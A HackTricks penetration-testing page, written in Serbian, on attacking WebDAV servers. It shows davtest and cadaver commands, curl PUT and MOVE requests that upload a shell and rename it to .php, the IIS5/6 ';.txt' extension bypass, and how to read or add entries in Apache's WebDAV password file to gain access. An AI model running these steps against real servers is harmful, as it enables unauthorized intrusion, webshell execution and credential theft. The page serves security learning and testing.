WebDav

Reading time: 4 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Kada se radi sa HTTP serverom sa WebDav omogućenim, moguće je manipulisati datotekama ako imate prave akreditive, obično proverene putem HTTP Basic Authentication. Sticanje kontrole nad takvim serverom često uključuje upload i izvršavanje webshell-a.

Pristup WebDav serveru obično zahteva važeće akreditive, pri čemu je WebDav bruteforce uobičajena metoda za njihovo sticanje.

Da biste prevazišli ograničenja na upload datoteka, posebno ona koja sprečavaju izvršavanje skripti na serveru, možete:

  • Upload-ovati datoteke sa izvršnim ekstenzijama direktno ako nisu ograničene.
  • Preimenujte uploadovane neizvršne datoteke (kao što su .txt) u izvršnu ekstenziju.
  • Kopirajte uploadovane neizvršne datoteke, menjajući njihovu ekstenziju u onu koja je izvršna.

DavTest

Davtest pokušava da uploaduje nekoliko datoteka sa različitim ekstenzijama i proverava da li je ekstenzija izvršena:

bash
davtest [-auth user:password] -move -sendbd auto -url http://<IP> #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http://<IP> #Try to upload every extension

Ovo ne znači da se .txt i .html ekstenzije izvršavaju. To znači da možete pristupiti ovim datotekama putem veba.

Cadaver

Možete koristiti ovaj alat da se povežete na WebDav server i izvršite radnje (kao što su upload, move ili delete) ručno.

cadaver <IP>

PUT zahtev

curl -T 'shell.txt' 'http://$ip'

MOVE zahtev

bash
curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt'

IIS5/6 WebDav ranjivost

Ova ranjivost je veoma interesantna. WebDav ne dozvoljava upload ili preimenovanje fajlova sa ekstenzijom .asp. Ali možete obići ovo dodajući na kraj imena ";.txt" i fajl će biti izvršen kao da je .asp fajl (takođe možete koristiti ".html" umesto ".txt" ali NE zaboravite ";").

Zatim možete upload vaš shell kao ".txt" fajl i kopirati/premestiti ga u ".asp;.txt" fajl. Pristupanjem tom fajlu preko web servera, biće izvršen (cadaver će reći da akcija premestanja nije uspela, ali jeste).

Post akreditivi

Ako je Webdav koristio Apache server, trebali biste pogledati konfigurisane sajtove u Apache-u. Obično:
_/etc/apache2/sites-enabled/000-default_

Unutra možete pronaći nešto poput:

ServerAdmin webmaster@localhost Alias /webdav /var/www/webdav <Directory /var/www/webdav> DAV On AuthType Digest AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user

Kao što možete videti, postoje datoteke sa važećim credentials za webdav server:

/etc/apache2/users.password

Unutar ovog tipa datoteka naći ćete korisničko ime i hash lozinke. Ovo su akreditivi koje webdav server koristi za autentifikaciju korisnika.

Možete pokušati da ih provalite, ili da dodate više ako iz nekog razloga želite da pristupite webdav serveru:

bash
htpasswd /etc/apache2/users.password <USERNAME> #You will be prompted for the password

Da biste proverili da li nove kredencijale rade, možete uraditi:

bash
wget --user <USERNAME> --ask-password http://domain/path/to/webdav/ -O - -q

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks